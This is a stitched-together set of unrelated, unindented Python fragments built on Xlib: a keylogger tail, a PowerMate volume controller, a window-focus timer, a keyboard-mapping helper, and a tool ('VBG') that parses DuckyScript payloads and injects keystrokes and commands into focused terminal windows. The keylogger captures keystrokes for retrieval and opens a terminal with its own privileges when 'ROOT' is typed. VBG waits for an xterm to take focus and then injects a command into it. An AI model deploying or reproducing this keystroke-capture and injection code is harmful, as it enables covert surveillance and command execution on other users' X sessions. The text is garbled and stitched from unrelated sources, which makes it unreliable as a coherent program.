lastWords = ''.join(section) if (lastWords.upper() == phrase): return True return False def send_key(self, emulated_key, state): """Sends a key downstream to be processed by the computer""" self.send_keydown(emulated_key, state) self.send_keyup(emulated_key, state) def send_keyup(self, emulated_key, state): """Sends an key up message downstream to be processed by the computer""" shift_mask = state # Xlib.X.ShiftMask window = self.display.get_input_focus()._data["focus"] event = Xlib.protocol.event.KeyRelease(time=int(time.time()), root=self.display.screen().root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=emulated_key) window.send_event(event, propagate=True) def send_keydown(self, emulated_key, state): """Sends a key down message downstream to be processed by the computer""" shift_mask = state # Xlib.X.ShiftMask window = self.display.get_input_focus()._data["focus"] event = Xlib.protocol.event.KeyPress(time=int(time.time()), root=self.root, window=window, same_screen=0, child=Xlib.X.NONE, root_x=0, root_y=0, event_x=0, event_y=0, state=shift_mask, detail=emulated_key) window.send_event(event, propagate=True) def openterminal(self): """ This method will open up a terminal on a linux machine. If this application is running with root privileges then the terminal will also be given root privileges. :return: """ subprocess.call("gnome-terminal") def getStopPhrase(self): """ When this phrase is typed in the keylogging will stop running """ return "MISCHIEF MANAGED" def getTerminalPhrase(self): """ When this phrase is typed in a terminal will be created and this terminal will have the same privileges that the key logger is running as. """ return "ROOT" def hasInfoToSend(self): """ Determines whether or not there have been keys that have been captured. :return: True if there are captured keys otherwise False """ return len(self.capturedKeys) > 0 def getInfo(self): """ Provides the caller with a string of the captured keys. It is important to note that a call to this method is a mutating call. This means that once the information is retrieved it is purged from this object. :return: A string of the captured keys """ ret = ''.join(self.capturedKeys) self.capturedKeys = [] return ret
class Dispatcher: """ A simple dispatcher class that receive powermate events and dispatch them to the right controller """ def __init__(self, observer): """ Initialize the super class and define the local members :param path: The path to the powermate device """ self._long_pressed = False self._pulse = Pulse(threading_lock=True) self._stored_app = None self._display = Display() # Connects to the default display self._note = pynotify.Notification("Volume", "0", "/usr/share/icons/Faenza/apps/48/" "gnome-volume-control.png") self._note.set_urgency(0) self._led = PowermateLed() self._led.max() self._rofi = Rofi() self._rofi.hide_scrollbar = True self._rofi.prompt = "App. name?" def short_press(self): """ Manage the short_press event :return: None """ # Get the list of active sinks sinks = self._get_sinks() # Get the names of the apps linked to the sinks app_sinks = {"{} {}".format(sink.proplist.get("application.name"), sink.index): sink for sink in sinks} if len(app_sinks) > 1: # Display a menu to select the application to control try: res = self._rofi(app_sinks) except MenuError: return app_sink = res.value elif len(app_sinks) == 1: _, app_sink = app_sinks.popitem() else: app_sink = None # If successful if app_sink is not None: # Toggle the mute status of the selected sink self._toggle_mute_sinks([app_sink]) # Declare a new notification self._note.update("Toggle Mute status", "{}".format(app_sink.proplist.get("application.name")), "/usr/share/icons/Faenza/apps/48/gnome-volume-control.png") # Show the notification self._note.show() def long_press(self): """ For the moment this method simply toggles the lights on/off :return: A LedEvent class """ if self._long_pressed: # Re-initialize the state of the powermate self._long_pressed = False self._stored_app = None # Just light up the powermate self._led.max() else: # Get the list of active sinks sinks = self._get_sinks() # Get the names of the apps linked to the sinks app_sinks = {sink.proplist.get("application.name"):sink.proplist.get("application.process.binary") for sink in sinks if sink.proplist.get("application.process.binary") not in self._get_active_win_class()} if len(app_sinks) > 1: # Display a menu to select the application to control try: res = self._rofi(app_sinks) except MenuError: return app_name = res.value elif len(app_sinks) == 1: _, app_name = app_sinks.popitem() else: app_name = None # If successful if app_name is not None: # Store the list of sinks corresponding to the app name self._stored_app = app_name # Toggle the long press state self._long_pressed = True # Have the powermate pulse self._led.pulse() else: # Make sure the long press flag is off self._long_pressed = False # Stop the pulse self._led.max() def rotate(self, rotation): """ Manage the rotate event :param rotation: The direction of rotation negative->left, positive->right :return: None """ # Get the class of the active window win_cls = self._get_active_win_class() if win_cls is not None: # Change the volume of the sinks self._change_volume_sinks(self._get_app_sinks(win_cls), rotation) def push_rotate(self, rotation): """ Changes the volume of the sinks registered by the long_press event, according to the given rotation. :param rotation: The direction and amplitude of the rotation. (negative = left, positive = right). :return: Nothing. """ # Change the volume of the current sinks self._change_volume_sinks(self._get_app_sinks(self._stored_app), rotation) def _toggle_mute_sinks(self, sinks): """ Simply toggle the mute status of all given sinks. :param sinks: A list of sink objects. :return: Nothing. """ # Toggle the mute status for sink in sinks: muted = bool(sink.mute) self._pulse.mute(sink, mute=not muted) def _change_volume_sinks(self, sinks, rotation): """ Simple change the volume of all given sinks and display a notification. :param sinks: A list of sink objects. :param rotation: The amount and direction of the rotation. :return: Nothing. """ # Change the volume of the sinks for sink in sinks: self._pulse.volume_change_all_chans(sink, rotation * 0.005) # Show the notification self._display_notification(sink) def _get_active_win_class(self): """ Use the xlib module to get the class of the window that has the focus :return: Return the window class or None if none found """ # Get the window that has the focus focus_win = self._display.get_input_focus().focus # Get the window class win_cls = focus_win.get_wm_class() if win_cls is None: # Get the class of the parent window parent_cls = focus_win.query_tree().parent.get_wm_class() if parent_cls is not None: return str(parent_cls[-1].lower()) else: return None else: return str(win_cls[-1].lower()) def _get_app_sinks(self, app_name): """ Get the sinks corresponding to the given application :param app_name: Name of the application :return: List of sink objects otherwise. """ # Make sure the app_name is a string if isinstance(app_name, str) and app_name is not None: # Get the list of input sinks sinks = self._get_sinks() # Return the list of sinks corresponding to the application return [sink for sink in sinks if sink.proplist.get("application.process.binary").lower() == app_name] else: return [] def _get_sinks(self): """ Get a list of active pulseaudio sinks :return: List. A list containing all the active sink objects. """ # Get the list of input sinks sinks = [sink for sink in self._pulse.sink_input_list() if sink.proplist.get("application.process.binary", None) is not None] # Return the list of active sinks return sinks def _display_notification(self, sink_in): """ Display a notification showing the overall current volume. :param volume: A float representing the value of the current sink input. :return: Nothing. """ # Get the volume of the input sink volume = self._pulse.volume_get_all_chans(sink_in) # Get the main sink for sink in self._pulse.sink_list(): if sink.index == sink_in.sink: main_vol = sink.volume.value_flat break else: main_vol = 1 # Declare a new notification self._note.update("Volume", "{:.2%}".format(volume * main_vol), "/usr/share/icons/Faenza/apps/48/" "gnome-volume-control.png") # Show the notification self._note.show() def _handle_exception(self): """ Close the connection to the pulse server. :return: Nothing """ # Close the connection to the pulse server self._pulse.close() self._led.off()
save_dir = 'saves' if not os.path.exists(save_dir): os.makedirs(save_dir) start = str(t.time()) session_dict = {} session_dict['focus_times'] = {} focus_times = session_dict['focus_times'] running=True print('started at ' + datetime.datetime.now().strftime("%Y-%m-%d %H:%M")) while(running): try: window = display.get_input_focus().focus #print(window) wmname = window.get_wm_name() wmclass = window.get_wm_class() if wmclass is None and wmname is None:# window = window.query_tree().parent wmname = window.get_wm_name() if wmname: if not focus_times.get(wmname, None): focus_times[wmname] = {} time = focus_times[wmname].get('time', None) if not time: focus_times[wmname]['time'] = interval
class VBG(object): def __init__(self): self.display = Display() self.term_windows = [] self.term_strings = ("xterm") self.cmd = " " * 5 + ";{};exit;".format("echo w00t w00t") self.default_delay = 0.05 self.control_key_map = { "ESC": XK.XK_Escape, "ALT": XK.XK_Alt_L, "WINDOWS": XK.XK_Super_L, "ENTER": XK.XK_Return, "CONTROL": XK.XK_Control_L, "DOLLAR": XK.XK_dollar, "SHIFT": XK.XK_Shift_L, "F2": XK.XK_F2 } self.map = {} for keysym in range(0, 65535): symbol = self.display.lookup_string(keysym) if symbol != None: self.map[symbol] = keysym if args.mode == "cmd": if not "XTEST" in self.display.list_extensions(): print( "[E] - XTEST Extension Not Supported. Maybe Connect With `ssh -Y`.", file=sys.stderr) sys.exit(2) elif not args.passive and args.payload: self.injectWMCmd(args.payload) sys.exit(0) elif not args.passive: wm = self.detectEnvironment() if wm: payloads = glob.glob("payloads/{}_payload*".format( wm.split()[0].lower())) if not payloads: print("[E] No Suitable Payload Found.") sys.exit(1) for wm_payload in payloads: self.injectWMCmd(wm_payload) sys.exit(0) else: print("[-] - Falling Back to Passive Mode.") print("[+] - Trying Passive Mode.") self.findTerms(self.display, self.display.screen().root) self.waitFocusAndInjectCmd(self.term_strings) else: print("[E] - Unsupported Mode.") sys.exit(1) def detectEnvironment(self): print("[+] - Detecting Window Manager.") cmd = "wmctrl -m" output = subprocess.check_output(cmd.split()).splitlines() wm = output[0].decode("ascii").split(" ", maxsplit=1)[1] if not wm: print( "[-] - Could Not Detect Environment. Check if wmctrl is Installed." ) return None wm = wm.strip() print("[+] - Window Manager {} Detected.".format(wm.strip())) return wm def injectWMCmd(self, payload_file): print("[+] - Running Payload from File {}.".format(payload_file)) f = open(payload_file, "r") payload = self.parseDuck(f) for p in payload: if type(p) == float: time.sleep(p) continue bytes_payload = " ".join([str(x) for x in p]).encode("ascii") proc = subprocess.Popen(["./write_cmd"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print(proc.communicate(input=bytes_payload)[0].decode("ascii")) time.sleep(self.default_delay) #os.system("./write_cmd '{}'".format(self.cmd)) def mapKey(self, key): if key in self.control_key_map: return self.control_key_map[key] keysym = XK.string_to_keysym(key) if keysym != 0: return keysym return self.map.get(key, None) def parseDuck(self, script): payload = [] for line in script: line = line.strip("\n") split_line = line.split(" ", maxsplit=1) instr = split_line[0] if instr == "STRING": arg = split_line[1] keycodes = [] for ch in arg: keysym = self.mapKey(ch) if not keysym: print( "[E] - Parse Error. Character \"{}\" has no Valid Keysym." .format(ch)) sys.exit(1) #print("{} -> kc:{} ksym:{}".format(ch, self.display.keysym_to_keycode(keysym), keysym)) keycodes.append(self.display.keysym_to_keycode(keysym)) keycodes.append(self.display.keysym_to_keycode(keysym)) payload.append(keycodes) elif "-" in instr: keycodes = [] key = instr.split("-") if len(key) != 2: print( "[E] - Parse Error. \"{}\" Composition Length is Unsupported (max 2 keys)." .format(instr)) sys.exit(1) keycode1, keycode2 = tuple( map(self.display.keysym_to_keycode, map(self.mapKey, key))) if keycode1 and keycode2: keycodes.append(keycode1) keycodes.append(keycode2) keycodes.append(keycode2) keycodes.append(keycode1) else: print("[E] - Parse Error. \"{}\" Unsupported Composition.". format(instr)) sys.exit(1) payload.append(keycodes) elif instr in self.control_key_map: keycode = self.display.keysym_to_keycode( self.control_key_map[instr]) payload.append([keycode]) elif instr == "REM": continue elif instr == "DELAY": arg = split_line[1] try: delay = float(arg) except: print("[E] - Parse Error. \"{}\" is not a Valid Delay.". format(arg)) sys.exit(1) payload.append(delay) elif instr == "REPEAT": arg = split_line[1] try: repetitions = int(arg) except: print( "[E] - Parse Error. \"{}\" is not a Valid Number of Repetitions." .format(arg)) sys.exit(1) payload.append(payload[-1] * repetitions) else: print( "[E] - Parse Error. \"{}\" is not a Supported Instruction." .format(instr)) sys.exit(1) return payload def findTerms(self, display, window): children = window.query_tree().children win_class = window.get_wm_class() win_name = window.get_wm_name() if win_class != None and win_class[0] in "".join(self.term_strings): #if "root@" in win_name: self.term_windows.append(window) for w in children: self.findTerms(self.display, w) def waitFocusAndInjectCmd(self, term_strings): print("[+] - Waiting Focus on a Terminal Window...") while True: focused_window = self.display.get_input_focus().focus focused_window_name = focused_window.get_wm_name() focused_window_class = focused_window.get_wm_class() if focused_window_class == None: continue if focused_window_class[0] in "".join(term_strings): if re.match("[a-zA-Z]+[a-zA-Z0-9]*", focused_window_name): os.system("./write_cmd '{}'".format(self.cmd)) break time.sleep(self.default_delay)
class KeyTools: KEY_PRESS = X.KeyPress KEY_RELEASE = X.KeyRelease def __init__(self): self._xdisplay = Display() self._xroot = self._xdisplay.screen().root self._clipboard = gtk.clipboard_get() self._clipPrimay = gtk.clipboard_get("PRIMARY") self._entryForPaste = 118, X.ShiftMask self._group = 0 self.loadModifiers() self._keymap = gdk.keymap_get_default() # @UndefinedVariable def loadModifiers(self): self._modifiers = [] self._modifierList = [] for key in self._xdisplay.get_modifier_mapping(): li = [k for k in key if k] #for altgr key if 92 in li: li.append(108) self._modifierList += li self._modifiers.append(li) def filterGroup(self, entries): if entries: return [e for e in entries if e[-2] == self._group] return [] def remapKey(self, keycode, keysyms): allKeysyms = list(self._xdisplay.get_keyboard_mapping(keycode, 1)[0]) keysyms = keysyms + [0]*(4 - len(keysyms)) allKeysyms[:2] = keysyms[:2] allKeysyms[4:6] = keysyms[2:] self._xdisplay.change_keyboard_mapping(keycode, [allKeysyms]) self._xdisplay.sync() def resetMapping(self): try: process = Popen('setxkbmap -print -verbose 7'.split(), stdout=PIPE, stderr=PIPE) except OSError: print 'install setxkbmap' for line in process.stderr: print 'setxkbmap error: {}'.format(line) layout = variant = '' for line in process.stdout: line = line.rstrip() if line == '': break if line.startswith('layout:'): layout = line.split()[1] elif line.startswith('variant:'): variant = line.split()[1] break command = ['setxkbmap'] if layout: command += ['-layout', layout] if variant: command += ['-variant', variant] if layout or command: try: process = Popen(command, stdout=PIPE, stderr=PIPE) except OSError: print 'install setxkbmap' for line in process.stderr: print 'setxkbmap error: {}'.format(line) def isModifier(self, keycode): return keycode in self._modifierList def getModMask(self, keycode): for i, mods in enumerate(self._modifiers): if keycode in mods: return 2**i return 0 def modifiersKeycodeList(self): return self._modifierList def numMask(self): return X.Mod2Mask def keycode2char(self, keycode, mods, group=0): char = '' name = '' info = self._keymap.translate_keyboard_state(keycode, mods, group) if info: keysym = info[0] char = gdk.keyval_to_unicode(keysym) # @UndefinedVariable if char: char = unichr(char) name = gdk.keyval_name(keysym) # @UndefinedVariable return char or '', name or '' def removeNumLockMask(self, keycode, mod): if not self.isKeypadKey(keycode) and mod & X.Mod2Mask: return mod ^ X.Mod2Mask return mod def entry2keysym(self, keycode, modMask): info = self._keymap.translate_keyboard_state(keycode, modMask, self._group) if info: return info[0] return None def entry2name(self, keycode, modMask): keysym = self.entry2keysym(keycode, modMask) if keysym is not None: return gdk.keyval_name(keysym) # @UndefinedVariable return None def keycode2entries(self, keycode): return self.filterGroup(self._keymap.get_entries_for_keycode(keycode)) def keysym2entry(self, keysym): if not keysym: return None infos = self._keymap.get_entries_for_keyval(keysym) # @UndefinedVariable if infos: for info in infos: keycode, group, level = info if group == self._group: if level < len(LEVEL_MOD): mod = LEVEL_MOD[level] return keycode, mod return None def keysym2deadEntries(self, keysym): resp = () entry = self.keysym2entry(keysym) if entry: keycode, mod = entry resp = ((keycode, mod), ) if not resp: deadKeys = self.findWithDeadKey(keysym) if deadKeys: keyKeysym, deadKeysym = deadKeys keyKeycodes = self.keysym2entry(keyKeysym) deadKeycodes = self.keysym2entry(deadKeysym) if keyKeycodes and deadKeycodes: keyKeycode, keyMod = keyKeycodes deadKeycode, deadMod = deadKeycodes resp = ((deadKeycode, deadMod), (keyKeycode, keyMod)) return resp def keycode2charsAndNames(self, keycode): entries = self.keycode2entries(keycode) chars = [] names = [] for entry in entries: chars.append(keysym2char(entry[0])) names.append(keysym2name(entry[0])) if len(chars) >= 4: break while not names[-1]: chars.pop(-1) names.pop(-1) return chars, names def keycode2keysyms(self, keycode): entries = self.keycode2entries(keycode) return [e[0] for e in entries][:4] def char2entries(self, char): keysym = gdk.unicode_to_keyval(ord(char)) # @UndefinedVariable if keysym: return self.keysym2deadEntries(keysym) return () def findWithDeadKey(self, keysym): name = gdk.keyval_name(keysym) # @UndefinedVariable for deadName in DEAD_KEYS: if name.endswith(deadName): keyName = name[:-len(deadName)] deadName = {'ring': 'abovering', 'schwa': 'small_schwa', 'SCHWA': 'capital_schwa'}.get(deadName, deadName) deadName = 'dead_' + deadName keyKeysym = gdk.keyval_from_name(keyName) # @UndefinedVariable deadSym = gdk.keyval_from_name(deadName) # @UndefinedVariable return keyKeysym, deadSym return None def isKeypadKey(self, keycode): entry = self._keymap.get_entries_for_keycode(keycode) if entry: for info in entry: if info[2] == self._group: name = gdk.keyval_name(info[0]) # @UndefinedVariable if name and name.startswith('KP_'): return True return False def grabKey(self, keycode, modMask): self._xroot.grab_key(keycode, modMask, 0, X.GrabModeAsync, X.GrabModeAsync) if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask: self._xroot.grab_key(keycode, modMask | X.Mod2Mask, 0, X.GrabModeAsync, X.GrabModeAsync) def ungrabKey(self, keycode, modMask): self._xroot.ungrab_key(keycode, modMask) if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask: self._xroot.ungrab_key(keycode, modMask | X.Mod2Mask) def nextKeyEvent(self, typ=KEY_PRESS): if isinstance(typ, int): typ = (typ,) num = self._xdisplay.pending_events() if num: for _ in range(num): event = self._xdisplay.next_event() if event.type in typ: return keyEvent(event.type, event.detail, event.state) self._xdisplay.allow_events(X.AsyncKeyboard, X.CurrentTime) return None def slotClipboard(self, clipboard, text, backup): self.sendEntry(*self._entryForPaste) t = Timer(0.1, self.restoreClipboard, (backup,)) t.start() def restoreClipboard(self, backup): self._clipboard.request_text(lambda a, b, c: None) if backup: self._clipboard.set_text(backup or '') self._clipPrimay.clear() self._clipboard.store() def sendText(self, text): backup = self._clipboard.wait_for_text() self._clipboard.set_text(text) self._clipPrimay.set_text(text) self._clipboard.request_text(self.slotClipboard, backup) self._clipboard.store() self._clipPrimay.store() def sendKeysym(self, keysym): entries = self.keysym2deadEntries(keysym) for entry in entries: self.sendEntry(*entry) def sendEntry(self, keycode, mod): self.pressKey(keycode, mod) self.releaseKey(keycode, mod) def pressKey(self, keycode, modMask): window = self._xdisplay.get_input_focus()._data["focus"] evt = Xlib.protocol.event.KeyPress( # @UndefinedVariable time = X.CurrentTime, root = self._xroot, window = window, same_screen = 0, child = Xlib.X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = modMask, detail = keycode ) window.send_event(evt, propagate = True) def releaseKey(self, keycode, modMask): window = self._xdisplay.get_input_focus()._data["focus"] evt = Xlib.protocol.event.KeyRelease( # @UndefinedVariable time = X.CurrentTime, root = self._xroot, window = window, same_screen = 0, child = Xlib.X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = modMask, detail = keycode ) window.send_event(evt, propagate = True)